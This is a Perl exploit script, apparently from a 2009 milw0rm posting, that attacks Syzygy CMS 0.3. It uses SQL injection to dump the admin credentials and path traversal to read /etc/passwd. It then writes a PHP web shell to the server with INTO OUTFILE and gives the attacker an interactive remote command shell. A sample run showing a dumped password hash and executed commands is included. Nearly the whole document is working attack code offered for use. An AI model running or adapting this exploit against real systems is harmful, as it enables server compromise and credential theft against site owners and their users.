238 lines
No EOL
6.9 KiB
Perl
Executable file
238 lines
No EOL
6.9 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
# Web App : Syzygy CMS 0.3
|
|
# Link : http://sourceforge.net/project/downloading.php?group_id=103298&use_mirror=heanet&filename=syzygycms-0.3.tar.gz&a=89932245
|
|
# Remote Command Execution Exploit :
|
|
# Case 1: If LFI works, exploitation via Shell Injection + LFI
|
|
# Case 2: Unless, exploitation via SQL Command Injection
|
|
|
|
# by Giovanni Buzzin, Osirys
|
|
# osirys[at]autistici[dot]org
|
|
# osirys.org
|
|
# Greets: Drosophila
|
|
|
|
# ----------------------------------------------------------------------------
|
|
# Exploit Simulation // (Case 1)
|
|
# ----------------------------------------------------------------------------
|
|
# osirys[~]>$ perl sploit.txt http://localhost/syzygy/
|
|
|
|
# ---------------------------------
|
|
# Syzygy CMS 0.3 RCE sploit
|
|
# by Osirys
|
|
# ---------------------------------
|
|
|
|
# [*] Getting admin login details ..
|
|
# [$] User: admin
|
|
# [$] Pass: 5f4dcc3b5aa765d61d8327deb882cf99
|
|
|
|
# [*] Testing LFI vulnerability
|
|
# [*] LFI works, exploiting it via SQL-LFI
|
|
|
|
# [++] Exploiting via SQL-LFI !
|
|
# [*] Creating remote Shell via SQL Injection ..
|
|
# [*] Spawning remote Shell via LFI ..
|
|
|
|
# shell[localhost]$> id
|
|
# uid=80(apache) gid=80(apache) groups=80(apache)
|
|
# shell[localhost]$> pwd
|
|
# /home/osirys/web/syzygy
|
|
# shell[localhost]$> exit
|
|
# [-] Quitting ..
|
|
# osirys[~]>$
|
|
# ----------------------------------------------------------------------------
|
|
|
|
use IO::Socket;
|
|
use LWP::UserAgent;
|
|
|
|
my $host = $ARGV[0];
|
|
my $rand = int(rand 50);
|
|
my $lfi = "/index.php?page=../../../../../../../../../";
|
|
my $code = "<?php echo \"0xExec\";system(\$_GET[cmd]);echo \"ExeCx0\" ?>";
|
|
my $file = "/tmp/sh_spawn_ownzzzzz".$rand.".txt";
|
|
my @error_logs = qw(
|
|
/var/log/httpd/error.log
|
|
/var/log/httpd/error_log
|
|
/var/log/apache/error.log
|
|
/var/log/apache/error_log
|
|
/var/log/apache2/error.log
|
|
/var/log/apache2/error_log
|
|
/logs/error.log
|
|
/var/log/apache/error_log
|
|
/var/log/apache/error.log
|
|
/usr/local/apache/logs/error_log
|
|
/etc/httpd/logs/error_log
|
|
/etc/httpd/logs/error.log
|
|
/var/www/logs/error_log
|
|
/var/www/logs/error.log
|
|
/usr/local/apache/logs/error.log
|
|
/var/log/error_log
|
|
/apache/logs/error.log
|
|
);
|
|
|
|
($host) || help("-1");
|
|
cheek($host) == 1 || help("-2");
|
|
&banner;
|
|
|
|
$datas = get_input($host);
|
|
$datas =~ /(.*) (.*)/;
|
|
($h0st,$path) = ($1,$2);
|
|
|
|
print "[*] Getting admin login details ..\n";
|
|
|
|
my $url = $host."/index.php?page=poll.php&poll=-1 union select 1,concat(0x64657461696C73,username,0x3a,password,0x64657461696C73),0,0,0,0,0,0,0,0,0,0,0,0,0,0 from users";
|
|
my $re = get_req($url);
|
|
if ($re =~ /details(.+):(.+)details/) {
|
|
my($user,$pass) = ($1,$2);
|
|
print "[\$] User: $user\n";
|
|
print "[\$] Pass: $pass\n";
|
|
}
|
|
else {
|
|
print "[-] Can't extract admin details\n\n";
|
|
}
|
|
|
|
print "\n[*] Testing LFI vulnerability\n";
|
|
my $re = get_req($host.$lfi."etc/passwd%00");
|
|
if ($re !~ /root:x/) {
|
|
print "[-] LFI seems not working, exploiting it via SQL Command Injection !\n";
|
|
&exploit_2;
|
|
}
|
|
else {
|
|
print "[*] LFI works, exploiting it via SQL-LFI\n";
|
|
&exploit_1;
|
|
}
|
|
|
|
sub exploit_1 {
|
|
print "\n[++] Exploiting via SQL-LFI !\n[*] Creating remote Shell via SQL Injection ..\n";
|
|
my $attack = $host."/index.php?page=poll.php&poll=-1 union select 1,'".$code."',0,0,0,0,0,0,0,0,0,0,0,0,0,0 into outfile '".$file."'";
|
|
get_req($attack);
|
|
|
|
print "[*] Spawning remote Shell via LFI ..\n\n";
|
|
$way = 1;
|
|
&exec_cmd;
|
|
}
|
|
|
|
sub exploit_2 {
|
|
print "\n[++] Exploiting via SQL Command Injection !\n[*] Generating error through GET request ..\n";
|
|
get_req($host."/osirys_log_test".$rand);
|
|
|
|
print "[*] Cheeking Apache Error Log path ..\n";
|
|
|
|
while (($log = <@error_logs>)&&($gotcha != 1)) {
|
|
$tmp_path = $host."/index.php?page=poll.php&poll=-1 union select 1,load_file('".$log."'),0,0,0,0,0,0,0,0,0,0,0,0,0,0";
|
|
$re = get_req($tmp_path);
|
|
if ($re =~ /File does not exist: (.+)\/osirys_log_test$rand/) {
|
|
$site_path = $1."/";
|
|
$gotcha = 1;
|
|
print "[*] Error Log path found -> $log\n";
|
|
print "[*] Website path found -> $site_path\n";
|
|
}
|
|
}
|
|
|
|
$gotcha == 1 || die "[-] Couldn't file error_log !\n";
|
|
|
|
my $attack = $host."/index.php?page=poll.php&poll=-1 union select 1,'".$code."',0,0,0,0,0,0,0,0,0,0,0,0,0,0 into outfile '".$site_path."/files/1337.php'";
|
|
get_req($attack);
|
|
my $test = get_req($host."/files/1337.php");
|
|
if ($test =~ /0xExec/) {
|
|
print "[*] Shell succesfully injected !\n";
|
|
print "[&] Hi my master, do your job now [!]\n\n";
|
|
$exec_path = $host."/shell.php";
|
|
$way = 2;
|
|
&exec_cmd;
|
|
}
|
|
else {
|
|
print "[-] Shell not found \n[-] Exploit failed\n\n";
|
|
exit(0);
|
|
}
|
|
}
|
|
|
|
sub exec_cmd {
|
|
$h0st !~ /www\./ || $h0st =~ s/www\.//;
|
|
print "shell[$h0st]\$> ";
|
|
$cmd = <STDIN>;
|
|
$cmd !~ /exit/ || die "[-] Quitting ..\n";
|
|
if ($way == 1) {
|
|
$exec_url = $host.$lfi.$file."%00&cmd=".$cmd;
|
|
}
|
|
elsif ($way == 2) {
|
|
$exec_url = $host."/files/1337.php?cmd=".$cmd;
|
|
}
|
|
my $re = get_req($exec_url);
|
|
my $content = tag($re);
|
|
if ($content =~ /0xExec(.+)ExeCx0/) {
|
|
my $out = $1;
|
|
$out =~ s/\$/ /g;
|
|
$out =~ s/\*/\n/g;
|
|
chomp($out);
|
|
print "$out\n";
|
|
&exec_cmd;
|
|
}
|
|
else {
|
|
$c++;
|
|
$cmd =~ s/\n//;
|
|
print "bash: ".$cmd.": command not found\n";
|
|
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
|
|
&exec_cmd;
|
|
}
|
|
}
|
|
|
|
sub get_req() {
|
|
$link = $_[0];
|
|
my $req = HTTP::Request->new(GET => $link);
|
|
my $ua = LWP::UserAgent->new();
|
|
$ua->timeout(4);
|
|
my $response = $ua->request($req);
|
|
return($response->content);
|
|
}
|
|
|
|
sub cheek() {
|
|
my $host = $_[0];
|
|
if ($host =~ /http:\/\/(.+)/) {
|
|
return 1;
|
|
}
|
|
else {
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
sub get_input() {
|
|
my $host = $_[0];
|
|
$host =~ /http:\/\/(.+)/;
|
|
$s_host = $1;
|
|
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
|
|
($h0st,$path) = ($1,$2);
|
|
$path =~ s/(.*)/\/$1/;
|
|
$full_det = $h0st." ".$path;
|
|
return($full_det);
|
|
}
|
|
|
|
sub tag() {
|
|
my $string = $_[0];
|
|
$string =~ s/ /\$/g;
|
|
$string =~ s/\s/\*/g;
|
|
return($string);
|
|
}
|
|
|
|
sub banner {
|
|
print "\n".
|
|
" --------------------------------- \n".
|
|
" Syzygy CMS 0.3 RCE sploit \n".
|
|
" by Osirys \n".
|
|
" --------------------------------- \n\n";
|
|
}
|
|
|
|
sub help() {
|
|
my $error = $_[0];
|
|
if ($error == -1) {
|
|
&banner;
|
|
print "\n[-] Bad hostname! \n";
|
|
}
|
|
elsif ($error == -2) {
|
|
&banner;
|
|
print "\n[-] Bad hostname address !\n";
|
|
}
|
|
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
|
|
exit(0);
|
|
}
|
|
|
|
# milw0rm.com [2009-03-23] |